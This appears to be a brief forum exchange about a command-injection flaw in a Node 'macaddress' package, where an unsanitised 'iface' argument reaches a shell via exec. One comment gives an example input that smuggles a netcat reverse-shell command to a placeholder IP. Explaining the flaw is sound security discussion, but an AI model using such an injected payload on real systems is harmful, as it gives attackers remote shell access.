[parenthephobia]

Anything which passes "iface" through without sanitising it.

The argument to exec is executed in a shell, so it can execute just about anything it likes, such as dialing out to a host under the attacker's control and giving it direct shell access.

e.g.

    macaddress.one(";nc 1.2.3.4 4444 –e /bin/sh;", () => {})

[deelowe]

I think the OP was trying to imagine a scenario where a potentially malicious user would be asked to pass in the interface string.